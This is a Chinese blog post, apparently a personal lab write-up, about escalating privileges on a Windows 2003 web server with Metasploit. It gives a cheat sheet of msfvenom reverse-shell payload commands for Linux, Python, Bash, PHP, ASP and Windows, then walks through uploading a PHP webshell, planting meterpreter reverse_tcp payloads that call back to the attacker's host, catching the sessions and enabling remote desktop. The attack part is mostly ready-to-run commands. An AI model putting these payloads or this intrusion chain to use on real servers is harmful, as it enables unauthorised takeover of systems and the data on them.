网站提权之MSF骚操作
测试环境:
- 内网,没钱买服务器,而且还拿不到站,尴尬的事情
- 攻击者:parrotos 这个系统跟kali差不多
- 服务器:windows2003
那么,我们现在先来看看使用msfvenom如何生成payload
msfvenom
这个是一个什么东西就不用说了吧,玩过metasploit的都知道(表示我还是一个新手!!!),当然没玩过的自行谷歌,已经很多大佬跟我说过这个是渗透测试最基本的东西
在freebuf上面看到msfvenom命令行选项的中文翻译,我直接搬过来了,不犯法吧,哈哈哈!!!
msfvenom命令行选项
Options:
1 |
-p, --payload <payload> 指定需要使用的payload(攻击载荷)。如果需要使用自定义的payload,请使用'-'或者stdin指定 |
生成payload
生成payload,有有两个必须的选项:-p -f
使用-p 来指定要使用的payload。
可以使用下面的命令来查看所有msf可用的payload列表
1 |
./msfvenom -l payloads |
-p选项也支持使用使用自定义的payload,需要使用 “-“,比如:
1 |
cat payload_file.bin | ./msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw |
使用-f 来指定payload的输出格式
举例:
1 |
./msfvenom -p windows/meterpreter/bind_tcp -f exe |
使用下面的命令,可以产看msf支持的输出格式
1 |
./msfvenom --help-formats |
一个典型的msfvenom使用举例如下:
1 |
$ ./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe |
使用自定义可执行文件模板
默认的,msfvenom使用的模板文件保存在msf/data/templates目录中,如果你想使用你自己的模板文件,你可以使用-x选项来指定,比如:
1 |
./msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe |
这个命令将使用windows下计算器程序(calc.exe)作为可执行文件的模板生成payload。
注意:如果你想要创建一个windows的x64的可执行文件模板来生成一个x64的payload,你只能使用exe格式的模板。
使用-x选项经常和-k选项配合使用,-k选项会将你的payload作为一个新的进程运行。但目前这个选项只支持老版本的windows系统比如windows xp
MSF Payloads
生成攻击载荷
Linux下反弹Meterpreter shell
1 |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a x86 --platform linux -o shell |
C反弹shell(C shellcode)
1 |
msfvenom -p windows/shell_reverse_tcp LHOST=<your IP Address> LPORT=<your port to connect on> -b "\x00\x0a\x0d" -a x86 --platform win -f c |
Python反弹shell
1 |
msfvenom -p cmd/unix/reverse_python LHOST=<your IP Address> LPORT=<your port to connect on> -o shell.py |
Asp反弹shell
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp |
Bash反弹shell
1 |
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh |
PHP反弹shell
1 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php |
Windows反弹shell
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe |
上面是一些msfvenom可以生成的攻击载荷
因为我们的需要提权网站是php的,所以就需要生成php载荷
开始我们的表演
接下来全是一些瞎操作
将php大马上传到服务器
我这里已经上传成功了
但是执行whomai,net user命令没有回显,那证明权限不够,所以我们拿着msf来提权

接着
打开parrotos系统,这个系统叫做“鹦鹉”,跟kali差不多,感兴趣的自行谷歌
执行命令生成攻击载荷:
1 |
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=3333 -f raw -o shell.php |

shell.php这个载荷已经生成好了,生成好了的文件在当前目录,现在我们将它上传到服务器

已经成功上传,当然,光这样是不够的,现在切换到parrotos虚拟机系统
我们需要去执行一些漏洞利用模块
在命令行窗口输入msfconsole就可以进入metasploit了
1 |
┌─[root@parrot]─[~] |


现在parrotos系统这边正在监听中,我们现在只需要去执行我们上传的php文件,在任意系统中打开那个shell.php网页即可触发

看到 meterpreter> 就已经反弹了一个shell了,接着输入直接输入getuid
1 |
meterpreter > getuid |
直接输入shell可以进入bash终端
1 |
meterpreter > shell |
记录这个位置C:\phpStudy\WWW\webpentest\varcov>
没搞懂为什么在输入shell后执行net user类似的命令为什么会断开连接,有哪位大佬看到是否可以帮忙解释一下
1 |
Terminate channel 0? [y/N] y |
看到上面出问题了,难道没戏了吗,当然不是了,meterpreter>那个界面的功能已经够我们用了
由于我的php大马支持cmd命令执行,果断的从新生成了一个exe文件,上传到服务器
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.129 LPORT=4444 -f exe -a x86 --platform win -o shell.exe |
生成了shell.exe,现在试着用其他方法上传到服务器,我们在执行一次php文件,然后parrotos系统这边又监听到了一个会话,直接连接进去
接着直接upload上传文件即可
1 |
[*] Started reverse TCP handler on 192.168.32.129:3333 |
ok,上传成功,因为生成的exe文件是用的一个新端口,并且payload是windows/meterpereter/reverse_tcp
,所以返回重新设置即可
1 |
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
完成上面操作后,来到php大马在命令执行中写入路径即可
C:\phpStudy\WWW\webpentest\varcov\shell.exe
由于是windows系统,所以注意斜杠问题,windows的是反斜杠”\”

接着提权:
1 |
meterpreter > getuid |
3389端口也已经开启了,接下来拿我们的win10去连接即可


大概就这么多了吧,下次有时间写一个metasploit的使用,这个框架还是比较牛逼的
网站提权之MSF骚操作的更多相关文章
- Windows提权小结
摸鱼的时候,想想内网这部分还有什么地方适合水一下,翻翻往期,开始填坑 总结一下Windows提权的部分,以后有时间再补一下Linux提权 这仍然是一篇思路总结类的随笔,具体细节内容不展开,也展开不了. ...
- Java实现平滑加权轮询算法--降权和提权
上一篇讲了普通轮询.加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在文末留下了悬念:节点出现分配失败时降低有效权重值:成功时提高有效权重值(但不能大于weight值). 本文在平滑加权轮询算法的 ...
- 网站sqlserver提权操作
在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结 *************************** 利用xp_cmdshell **************** ...
- soap注入某sql2008服务器结合msf进行提权
原文作者:陈小兵 在实际成功渗透过程中,漏洞的利用都是多个技术的融合,最新技术的实践,本次渗透利用sqlmap来确认注入点,通过sqlmap来获取webshell,结合msf来进行ms16-075的提 ...
- msf客户端渗透(三):提权、图形化payload
对普通权限session提权 生成一个木马 开启Apache服务 将木马上传网页 被攻击者从这个网页上获取到这个木马 攻击者开启msf侦听 当被攻击者双击这个木马文件时 攻击者就获取到一个sessio ...
- msf提权基础(一)
令牌(token)相当于系统的临时密钥(账号及密码) 加载incognito模块 meterpreter> use incognito meterpreter > list_tokens ...
- 修复网站漏洞对phpmyadmin防止被入侵提权的解决办法
phpmyadmin是很多网站用来管理数据库的一个系统,尤其是mysql数据库管理的较多一些,最近phpmysql爆出漏洞,尤其是弱口令,sql注入漏洞,都会导致mysql的数据账号密码被泄露,那么如 ...
- 齐博cms最新SQL注入网站漏洞 可远程执行代码提权
齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...
- 提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享
先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...
随机推荐
- 把ngnix注册为linux服务 将Nginx设置为linux下的服务
一.创建服务脚本 vim /etc/init.d/nginx 脚本内容如下 #! /bin/sh # chkconfig: - 85 15 PATH=/web/server/nginx/sbin DE ...
- python学习——tuple
tuple 上次谈到了列表,而这次所谈的元组其实和列表有许多相似的地方,故元组又叫"戴上了枷锁的列表".这是因为元组不能改动内部的元素,所以就不能使用上次谈到的append.ext ...
- 菜鸟cmake使用
cmake是用过把源码生成visual studio 工程的工具,也就是生成.sln文件.他会把相应的库依赖都自动添加上. cmake有个CMakeLists.txt (具体语法这里先不介绍) 我都是 ...
- OfficeidMsoViewer最新版
点击下载 OfficeidMsoViewer最新版
- 视觉SLAM算法框架解析(1) PTAM
版权声明:本文为博主原创文章,未经博主允许不得转载. 本系列文章旨在总结主流视觉SLAM算法的框架,对比各个算法在子模块的差异,最终提炼出融合各个算法优点的架构. PTAM[1]是视觉SLAM领域里程 ...
- 5)void万能指针
函数参数为空,定义函数时,可以使用void来修饰:int fun(void) 函数没有返回值:void fun(void) 不同定义void类型的普通变量:void a //原因是,无法确定类 ...
- Spring的@Transactional(readOnly=true)注解,对其效果进行测试
https://blog.csdn.net/xcdsdf14545/article/details/86164012
- 在VMware装了linux系统,如何在windows系统中用xshell连接
网上有好几种方法,不过我觉得这种比较简单 1.找到VMware菜单 打开 编辑>虚拟网络编辑器 如图: 点下面的更改设置 点确定就可以了,什么都不用改.然后回到linux系统中ifconfig ...
- 用Excel做数据分析常用函数(数据清理、关联匹配……)
本文总结在使用Excel进行数据分析时,最常用的功能和函数. Excel的功能和函数非常多,用进废退,除了学习基本的函数和功能,最重要的是遇到问题可以快速的搜索并解决. 首先Excel可以处理的数据量 ...
- sqlserver中的数据导到mysql相关
一.在sqlserver中生成数据表脚本,粘贴到记事本中,如下语法要进行替换 1.int IDENTITY (1, 1) NOT NULL——>id int unsigned NOT NULL ...